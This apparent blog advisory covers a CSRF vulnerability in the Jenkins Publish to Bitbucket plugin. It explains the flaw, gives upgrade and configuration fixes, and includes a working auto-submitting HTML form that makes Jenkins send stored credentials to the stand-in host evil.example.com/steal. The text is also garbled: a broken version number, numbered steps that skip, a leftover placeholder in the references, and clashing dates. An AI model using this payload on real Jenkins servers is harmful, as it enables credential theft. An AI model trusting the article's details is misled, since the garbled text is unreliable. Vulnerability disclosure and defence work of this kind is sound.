A new vulnerability has been discovered in the hugely popular Jenkins automation server. This bug, CVE-2025-64149, affects the _Publish to Bitbucket Plugin_ version .4 and earlier. It allows attackers to trick Jenkins into sending sensitive credentials to any URL controlled by them. In simple terms: with the right setup, a hacker can use your Jenkins server to leak your secrets by simply making your logged-in admin click a link.

Let's dive in and see exactly how this works, and why it is such a big deal.

What Is CVE-2025-64149?

CVE-2025-64149 is a Cross-Site Request Forgery (CSRF) vulnerability. CSRF bugs happen when a web app lets users perform actions without every request being checked to see if it was intentionally started by the user or if it came from a bad site.

The bug is in the Publish to Bitbucket Jenkins plugin, specifically in versions .4 and earlier.

What does it let attackers do?

If an attacker can get a Jenkins admin to visit a crafted web page, they can cause Jenkins to connect to any URL they want, using any credentials Ids stored in Jenkins (these credential IDs must be known, or stolen another way). This exploit allows credentials stored and managed in Jenkins to be sent directly to an attacker's server.

How Does the Vulnerability Work?

When you use the plugin, you can tell Jenkins to push code or info to Bitbucket. It uses _credentials_ to authenticate these actions.

But the plugin does not properly protect its actions with CSRF tokens.

That means: if you visit a malicious site while logged into Jenkins, a background script on that site can send a POST request to your Jenkins server, telling it to connect to _any_ URL, using _any_ credentials ID (if known).

Thus, sensitive credentials (like access tokens, passwords, SSH keys) can be sent to a hacker's URL.

Let’s walk through how an attacker could get your GitHub or Bitbucket passwords

1. Steal or guess a credentials ID (sometimes guessable in small teams, or harvested via earlier bugs).

You (the Jenkins admin) visit that site while logged into Jenkins.

4. The script makes a POST request to Jenkins, calling the plugin endpoint, and telling Jenkins to send a request (with your credentials) to https://evil.example.com/steal.

Here’s a minimal HTML page that can trigger the exploit—replace values as needed

<!-- Save as csrf-jenkins-steal.html -->
<form id="csrf_form" action="https://your-jenkins-instance/plugin/publish-to-bitbucket/publish"; method="POST">
  <input type="hidden" name="bitbucketBaseUrl" value="https://evil.example.com/steal" />
  <input type="hidden" name="credentialsId" value="known-creds-id" />
  <input type="hidden" name="repoOwner" value="attacker" />
  <input type="hidden" name="repoSlug" value="malware" />
</form>
<script>
window.onload = function() {
  document.getElementById('csrf_form').submit();
};
</script>

Anyone who visits this page while logged in as a Jenkins admin with the plugin installed will have Jenkins send their credential to https://evil.example.com/steal.

1. Upgrade or Remove the Plugin

- Update the plugin to a version where CSRF protection is fixed, or just remove it if you do not need Bitbucket integration.
- Official plugin page

3. Enable CSRF Protection

- Make sure Jenkins’ built-in “Prevent Cross Site Request Forgery exploits” option is ON (Manage Jenkins > Configure Global Security).

References

- Jenkins Security Advisory - 2025-06-13 *(Example link: Provide real link when available)*
- Jenkins Publish to Bitbucket Plugin
- OWASP: Cross Site Request Forgery (CSRF)

Conclusion

CVE-2025-64149 is a textbook example of why CSRF protection still matters in 2025. If your Jenkins server is using the Publish to Bitbucket Plugin .4 or earlier, upgrade immediately. Until you do, your secrets are sitting ducks for anyone with a bit of clever social engineering.

If you found this article helpful, share it with your DevOps team or IT security folks now!

Timeline

Published on: 10/29/2025 13:29:51 UTC
Last modified on: 11/04/2025 22:16:41 UTC